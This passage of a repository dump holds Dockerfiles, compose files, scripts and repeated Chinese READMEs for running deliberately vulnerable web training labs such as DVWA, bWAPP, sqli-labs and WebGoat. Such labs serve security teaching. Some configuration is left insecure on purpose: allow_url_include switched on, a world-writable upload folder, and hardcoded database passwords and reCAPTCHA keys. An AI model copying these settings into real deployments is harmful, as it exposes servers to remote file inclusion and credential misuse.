第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/DSVW/docker-compose.yml", "content": "version: '2'\nservices:\n web:\n #build: .\n image: c0ny1/dsvw:v0.1m\n ports:\n - \"80:65412\"" }, { "path": "tests/vulstudy/DVWA/Dockerfile", "content": "FROM tutum/lamp:latest\n\nMAINTAINER c0ny1 \n\nADD . /tmp/\nRUN apt-get update && \\\n apt-get install -y libgd-dev && \\\n apt-get install -y php5-gd && \\\n rm -rf /var/lib/apt/lists/*\n\nRUN rm /app/* && \\\n cd /tmp/ && \\\n cp php.ini /etc/php5/apache2/php.ini && \\\n cp php.ini /etc/php5/cli/php.ini && \\\n wget https://github.com/ethicalhack3r/DVWA/archive/v1.9.tar.gz && \\\n tar xvf v1.9.tar.gz && \\\n mv ./DVWA-1.9/* /app/ && \\\n chown www-data:www-data -R /app/ && \\\n chmod +x run.sh && \\\n ./run.sh && \\\n rm -rf /tmp/* && \\\n\n" }, { "path": "tests/vulstudy/DVWA/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/DVWA/docker-compose.yml", "content": "version: '2'\nservices:\n web:\n #build: .\n image: c0ny1/dvwa:v1.9\n ports:\n - \"80:80\"\n" }, { "path": "tests/vulstudy/DVWA/php.ini", "content": "[PHP]\nengine = On\nshort_open_tag = Off\nasp_tags = Off\nprecision = 14\noutput_buffering = 4096\nzlib.output_compression = Off\nimplicit_flush = Off\nunserialize_callback_func =\nserialize_precision = 17\ndisable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,\ndisable_classes =\nzend.enable_gc = On\nexpose_php = Off\nmax_execution_time = 30\nmax_input_time = 60\nmemory_limit = 128M\nerror_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT\ndisplay_errors = Off\ndisplay_startup_errors = Off\nlog_errors = On\nlog_errors_max_len = 1024\nignore_repeated_errors = Off\nignore_repeated_source = Off\nreport_memleaks = On\ntrack_errors = Off\nhtml_errors = On\nvariables_order = \"GPCS\"\nrequest_order = \"GP\"\nregister_argc_argv = Off\nauto_globals_jit = On\npost_max_size = 8M\nauto_prepend_file =\nauto_append_file =\ndefault_mimetype = \"text/html\"\ndefault_charset = \"UTF-8\"\ndoc_root =\nuser_dir =\nenable_dl = Off\nfile_uploads = On\nupload_max_filesize = 2M\nmax_file_uploads = 20\nallow_url_fopen = On\nallow_url_include = On\ndefault_socket_timeout = 60\n[CLI Server]\ncli_server.color = On\n[Date]\n[filter]\n[iconv]\n[intl]\n[sqlite3]\n[Pcre]\n[Pdo]\n[Pdo_mysql]\npdo_mysql.cache_size = 2000\npdo_mysql.default_socket=\n[Phar]\n[mail function]\nSMTP = localhost\nsmtp_port = 25\nmail.add_x_header = On\n[SQL]\nsql.safe_mode = Off\n[ODBC]\nodbc.allow_persistent = On\nodbc.check_persistent = On\nodbc.max_persistent = -1\nodbc.max_links = -1\nodbc.defaultlrl = 4096\nodbc.defaultbinmode = 1\n[Interbase]\nibase.allow_persistent = 1\nibase.max_persistent = -1\nibase.max_links = -1\nibase.timestampformat = \"%Y-%m-%d %H:%M:%S\"\nibase.dateformat = \"%Y-%m-%d\"\nibase.timeformat = \"%H:%M:%S\"\n[MySQL]\nmysql.allow_local_infile = On\nmysql.allow_persistent = On\nmysql.cache_size = 2000\nmysql.max_persistent = -1\nmysql.max_links = -1\nmysql.default_port =\nmysql.default_socket =\nmysql.default_host =\nmysql.default_user =\nmysql.default_password =\nmysql.connect_timeout = 60\nmysql.trace_mode = Off\n[MySQLi]\nmysqli.max_persistent = -1\nmysqli.allow_persistent = On\nmysqli.max_links = -1\nmysqli.cache_size = 2000\nmysqli.default_port = 3306\nmysqli.default_socket =\nmysqli.default_host =\nmysqli.default_user =\nmysqli.default_pw =\nmysqli.reconnect = Off\n[mysqlnd]\nmysqlnd.collect_statistics = On\nmysqlnd.collect_memory_statistics = Off\n[OCI8]\n[PostgreSQL]\npgsql.allow_persistent = On\npgsql.auto_reset_persistent = Off\npgsql.max_persistent = -1\npgsql.max_links = -1\npgsql.ignore_notice = 0\npgsql.log_notice = 0\n[Sybase-CT]\nsybct.allow_persistent = On\nsybct.max_persistent = -1\nsybct.max_links = -1\nsybct.min_server_severity = 10\nsybct.min_client_severity = 10\n[bcmath]\nbcmath.scale = 0\n[browscap]\n[Session]\nsession.save_handler = files\nsession.use_strict_mode = 0\nsession.use_cookies = 1\nsession.use_only_cookies = 1\nsession.name = PHPSESSID\nsession.auto_start = 0\nsession.cookie_lifetime = 0\nsession.cookie_path = /\nsession.cookie_domain =\nsession.cookie_httponly =\nsession.serialize_handler = php\nsession.gc_probability = 0\nsession.gc_divisor = 1000\nsession.gc_maxlifetime = 1440\nsession.referer_check =\nsession.cache_limiter = nocache\nsession.cache_expire = 180\nsession.use_trans_sid = 0\nsession.hash_function = 0\nsession.hash_bits_per_character = 5\nurl_rewriter.tags = \"a=href,area=href,frame=src,input=src,form=fakeentry\"\n[MSSQL]\nmssql.allow_persistent = On\nmssql.max_persistent = -1\nmssql.max_links = -1\nmssql.min_error_severity = 10\nmssql.min_message_severity = 10\nmssql.compatibility_mode = Off\nmssql.secure_connection = Off\n[Assertion]\n[COM]\n[mbstring]\n[gd]\n[exif]\n[Tidy]\ntidy.clean_output = Off\n[soap]\nsoap.wsdl_cache_enabled=1\nsoap.wsdl_cache_dir=\"/tmp\"\nsoap.wsdl_cache_ttl=86400\nsoap.wsdl_cache_limit = 5\n[sysvshm]\n[ldap]\nldap.max_links = -1\n[mcrypt]\n[dba]\n[opcache]\n[curl]\n[openssl]\n" }, { "path": "tests/vulstudy/DVWA/run.sh", "content": "#!/bin/bash\n\nsed -i \"s/p@ssw0rd//g\" /app/config/config.inc.php && \\\nsed -i \"s/$_DVWA[ 'recaptcha_private_key' ] = ''/$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg'/g\" /app/config/config.inc.php && \\\nsed -i \"s/$_DVWA[ 'recaptcha_public_key' ] = ''/$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ'/g\" /app/config/config.inc.php\n" }, { "path": "tests/vulstudy/Hackademic/Dockerfile", "content": "FROM tutum/lamp:latest\n\nMAINTAINER c0ny1 \n\n#COPY . /tmp/\nRUN cd /tmp/ && \\\n git clone -b master https://github.com/Hackademic/hackademic.git\n\nRUN rm -rf /app/* && \\\n cp -r /tmp/hackademic/* /app/ && \\\n chown www-data:www-data -R /app/ && \\\n rm -rf /tmp/hackademic" }, { "path": "tests/vulstudy/Hackademic/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/Hackademic/docker-compose.yml", "content": "version: '2'\nservices:\n web:\n #build: .\n image: c0ny1/hackademic:master\n ports:\n - \"80:80\"\n" }, { "path": "tests/vulstudy/MCIR/Dockerfile", "content": "FROM php:5.6.13-apache\n\nMAINTAINER c0ny1 \n\nRUN apt-get update && \\\n apt-get install -y php5-xsl && \\\n apt-get install -y php5-mcrypt && \\\n apt-get install -y libmcrypt-dev && \\\n apt-get install -y libxslt1-dev && \\\n apt-get install -y git && \\\n apt-get clean && \\\n rm -rf /var/lib/apt/lists/*\n\nRUN docker-php-ext-install mcrypt && \\\n docker-php-ext-install xsl && \\\n docker-php-ext-install mysql\n\nRUN cd /tmp/ && \\\n git clone https://github.com/SpiderLabs/MCIR.git && \\\n cd MCIR &&\\\n git checkout 8ca70207b692ceaf72d5a60653f6d1d83cce88ef && \\\n rm -rf /var/www/html/* && \\\n mv * /var/www/html/ && \\\n cd /var/www/html/ && \\\n sed -i \"s/default_mcir_db_password/mcirpass00112233/\" sqlol/includes/database.config.php && \\\n sed -i \"s/default_mcir_db_password/mcirpass00112233/\" cryptomg/includes/db.inc.php && \\\n sed -i \"s/localhost/mysqldb/\" sqlol/includes/database.config.php && \\\n sed -i \"s/localhost/mysqldb/\" cryptomg/includes/db.inc.php && \\\n chmod 666 xssmh/pxss.html && \\\n rm -rf /var/lib/apt/lists/* && \\\n rm -rf /tmp/MCIR\n" }, { "path": "tests/vulstudy/MCIR/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/MCIR/docker-compose.yml", "content": "version: '2'\nservices:\n mysqldb:\n image: mysql\n environment:\n - MYSQL_ROOT_PASSWORD=mcirpass00112233\n - MYSQL_DATABASE=sqlol\n\n mcir:\n #build: .\n image: andresriancho/mcir:latest\n ports:\n - \"8090:80\"\n links:\n - mysqldb\n environment:\n - APACHE_RUN_USER=www-data\n - APACHE_RUN_GROUP=www-data\n - APACHE_LOG_DIR=/var/log/apache2/" }, { "path": "tests/vulstudy/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/WackoPicko/Dockerfile", "content": "FROM tutum/lamp:latest\n\nMAINTAINER c0ny1 \n\nRUN apt-get update && \\\n apt-get install -y libgd-dev && \\\n apt-get install -y php5-gd && \\\n apt-get clean && \\\n cd /tmp/ && \\\n git clone https://github.com/adamdoupe/WackoPicko.git && \\\n cd WackoPicko && \\\n git checkout 065cb92aceb6f76138786e94959034014e733b99 && \\\n rm -rf /app/* && \\\n mv -f /tmp/WackoPicko/website/* /app/ && \\\n chmod 777 /app/upload && \\\n cp current.sql / && \\\n cp create_mysql_admin_user.sh / && \\\n cp php.ini /etc/php5/apache2/php.ini && \\\n cp php.ini /etc/php5/cli/php.ini && \\\n chmod 755 /*.sh && \\\n rm -rf /var/lib/apt/lists/* && \\\n rm -rf /tmp/WackoPicko\n\nCMD [\"/run.sh\"]\n" }, { "path": "tests/vulstudy/WackoPicko/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/WackoPicko/docker-compose.yml", "content": "version: '2'\nservices: \n web:\n #build: .\n image: adamdoupe/wackopicko:latest\n ports:\n - \"80:80\"\n\n" }, { "path": "tests/vulstudy/WebGoat/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/WebGoat/docker-compose.yml", "content": "#url: http://ip:8080/WebGoat\nversion: '2.0'\nservices:\n webgoat:\n #build: webgoat-server/\n image: c0ny1/webgoat-server:v8.0.0.M14\n command: \"sh /home/webgoat/start.sh\"\n ports:\n - \"8080:8080\"\n webwolf:\n #build: webwolf/\n image: c0ny1/webwolf:v8.0.0.M14\n command: \"sh /home/webwolf/start.sh\"\n depends_on:\n - webgoat\n ports:\n - \"8081:8081\"\n" }, { "path": "tests/vulstudy/WebGoat/webgoat-server/Dockerfile", "content": "FROM openjdk:8-jre-slim\n\nMAINTAINER c0ny1 \n\nRUN useradd --home-dir /home/webgoat --create-home -U webgoat && \\\n apt-get update && \\\n apt-get install curl -y && \\\n apt-get install wget && \\\n apt-get clean && \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY start.sh /home/webgoat/start.sh\nRUN chmod +x /home/webgoat/start.sh\nUSER webgoat\nRUN cd /home/webgoat/ && \\\n mkdir -p .webgoat && \\\n wget -O webgoat.jar https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M14/webgoat-server-8.0.0.M14.jar\n" }, { "path": "tests/vulstudy/WebGoat/webgoat-server/start.sh", "content": "#!/bin/sh\n\njava -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar --server.address=0.0.0.0 --server.port=8080\n" }, { "path": "tests/vulstudy/WebGoat/webwolf/Dockerfile", "content": "FROM openjdk:8-jre-slim\n\nMAINTAINER c0ny1 \n\nRUN useradd --home-dir /home/webwolf --create-home -U webwolf && \\\n apt-get update && \\\n apt-get install curl -y && \\\n apt-get install wget && \\\n apt-get clean && \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY start.sh /home/webwolf/start.sh\nRUN chmod +x /home/webwolf/start.sh\nUSER webwolf\nRUN cd /home/webwolf && \\\n wget -O webwolf.jar https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M14/webwolf-8.0.0.M14.jar" }, { "path": "tests/vulstudy/WebGoat/webwolf/start.sh", "content": "#!/bin/sh\n\njava -jar -Djava.security.egd=file:/dev/./urandom /home/webwolf/webwolf.jar --server.address=0.0.0.0 --server.port=8081 \n" }, { "path": "tests/vulstudy/XSSed/Dockerfile", "content": "FROM php:5.5-apache\n\nMAINTAINER c0ny1 \n\n# set DirectoryIndex:index.htm\nCOPY docker-php.conf /etc/apache2/conf-enabled/\n\nRUN apt-get update && \\\n apt-get install -y git && \\\n apt-get clean && \\\n rm -rf /var/lib/apt/lists/* && \\\n cd /tmp/ && \\\n git clone https://github.com/aj00200/xssed.git && \\\n cd xssed && \\\n mv * /var/www/html/ && \\\n rm -rf /tmp/xssed" }, { "path": "tests/vulstudy/XSSed/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/XSSed/docker-compose.yml", "content": "version: '2'\nservices:\n web:\n #build: .\n image: c0ny1/xssed:latest\n ports:\n - \"80:80\"\n" }, { "path": "tests/vulstudy/XSSed/docker-php.conf", "content": "\n SetHandler application/x-httpd-php\n\n\nDirectoryIndex disabled\nDirectoryIndex index.php index.html index.htm\n\n\n Options -Indexes\n AllowOverride All\n\n\n" }, { "path": "tests/vulstudy/bWAPP/Dockerfile", "content": "FROM tutum/lamp:latest\n\nMAINTAINER c0ny1 \n\nRUN apt-get update && \\\n apt-get install -y wget zip && \\\n apt-get clean && \\\n rm /app/* && \\\n cd /tmp && \\\n wget https://jaist.dl.sourceforge.net/project/bwapp/bWAPP/bWAPPv2.2/bWAPPv2.2.zip &&\\\n unzip ./bWAPPv2.2.zip && \\\n mv ./bWAPP/* /app/ && \\\n rm -rf /tmp/* && \\\n rm -rf /var/lib/apt/lists/*\n\nCMD [\"/run.sh\"]" }, { "path": "tests/vulstudy/bWAPP/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/bWAPP/docker-compose.yml", "content": "version: '2'\nservices: \n web:\n #build: .\n image: c0ny1/bwapp:v2.2\n ports:\n - \"80:80\"\n\n" }, { "path": "tests/vulstudy/doc/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/docker-compose.yml", "content": "version: '2'\nservices:\n web_gui:\n build: ./www/\n ports:\n - \"80:80\"\n \n dvwa:\n image: c0ny1/dvwa:v1.9\n ports:\n - \"81:80\"\n\n bwapp:\n image: c0ny1/bwapp:v2.2\n ports:\n - \"82:80\"\n\n sqli-labs:\n image: c0ny1/sqli-labs:0.1\n ports:\n - \"83:80\"\n\n mutillidae:\n image: c0ny1/mutillidae:v2.6.62\n ports:\n - \"84:80\"\n \n bodgelt:\n image: psiinon/bodgeit:latest\n ports:\n - \"85:8080\"\n\n wackopicko:\n image: adamdoupe/wackopicko:latest\n ports:\n - \"86:80\"\n\n webgoat:\n image: c0ny1/webgoat-server:v8.0.0.M14\n command: \"sh /home/webgoat/start.sh\"\n ports:\n - \"8080:8080\"\n\n webwolf:\n image: c0ny1/webwolf:v8.0.0.M14\n command: \"sh /home/webwolf/start.sh\"\n depends_on:\n - webgoat\n ports:\n - \"8081:8081\"\n\n Hackademic:\n image: c0ny1/hackademic:master\n ports:\n - \"1664:80\"\n\n XSSed:\n image: c0ny1/xssed:latest\n ports:\n - \"88:80\"\n\n dsvw:\n image: c0ny1/dsvw:v0.1m\n ports:\n - \"65412:65412\"\n\n #########################################\n vulnerable_node:\n restart: always\n image: c0ny1/vulnerable-node:latest\n ports:\n - \"3000:3000\"\n depends_on:\n - postgres_db\n\n postgres_db:\n restart: always\n build: ./vulnerable-node/postgresql/\n ports:\n - \"5432:5432\"\n \n #########################################\n mcir:\n image: andresriancho/mcir:latest\n ports:\n - \"8090:80\"\n links:\n - mysqldb\n environment:\n - APACHE_RUN_USER=www-data\n - APACHE_RUN_GROUP=www-data\n - APACHE_LOG_DIR=/var/log/apache2/\n mysqldb:\n image: mysql\n environment:\n - MYSQL_ROOT_PASSWORD=mcirpass00112233\n - MYSQL_DATABASE=sqlol\n #########################################\n" }, { "path": "tests/vulstudy/mutillidae/Dockerfile", "content": "FROM tutum/lamp:latest\n\nENV DEBIAN_FRONTEND noninteractive\n\n# Preparation\nRUN rm -fr /app/* && \\\n apt-get update && apt-get install -yqq wget unzip php5-curl dnsutils && \\\n rm -rf /var/lib/apt/lists/*\n\n# Deploy Mutillidae\nRUN \\\n wget -O /mutillidae.zip https://jaist.dl.sourceforge.net/project/mutillidae/mutillidae-project/LATEST-mutillidae-2.6.62.zip && \\\n unzip /mutillidae.zip && \\\n rm -rf /app/* && \\\n cp -r /mutillidae/* /app && \\\n rm -rf /mutillidae && \\\n sed -i 's/DirectoryIndex index.html.*/DirectoryIndex index.php index.html index.cgi index.pl index.xhtml index.htm/g' /etc/apache2/mods-enabled/dir.conf&& \\\n sed -i 's/static public \\$mMySQLDatabaseUsername =.*/static public \\$mMySQLDatabaseUsername = \"admin\";/g' /app/classes/MySQLHandler.php && \\\n echo \"sed -i 's/static public \\$mMySQLDatabasePassword =.*/static public \\$mMySQLDatabasePassword = \\\\\\\"'\\$PASS'\\\\\\\";/g' /app/classes/MySQLHandler.php\" >> /create_mysql_admin_user.sh && \\\n echo 'session.save_path = \"/tmp\"' >> /etc/php5/apache2/php.ini \n\nEXPOSE 80 3306\nCMD [\"/run.sh\"]\n" }, { "path": "tests/vulstudy/mutillidae/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/mutillidae/docker-compose.yml", "content": "version: '2'\nservices:\n web:\n #build: .\n image: c0ny1/mutillidae:v2.6.62\n ports:\n - \"80:80\"\n" }, { "path": "tests/vulstudy/sqli-labs/Dockerfile", "content": "FROM tutum/lamp:latest\n\nMAINTAINER c0ny1 \n\nRUN cd /tmp/ &&\\\n git clone https://github.com/Audi-1/sqli-labs.git && \\\n cd sqli-labs && \\\n git checkout e96f21776372c8613a7e565106e62bc01a59355e && \\\n rm -rf /app/* && \\\n mv -f /tmp/sqli-labs/* /app/ && \\\n chown www-data:www-data -R /app && \\\n rm -rf /tmp/sqli-labs\n\nEXPOSE 80 3306\n" }, { "path": "tests/vulstudy/sqli-labs/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 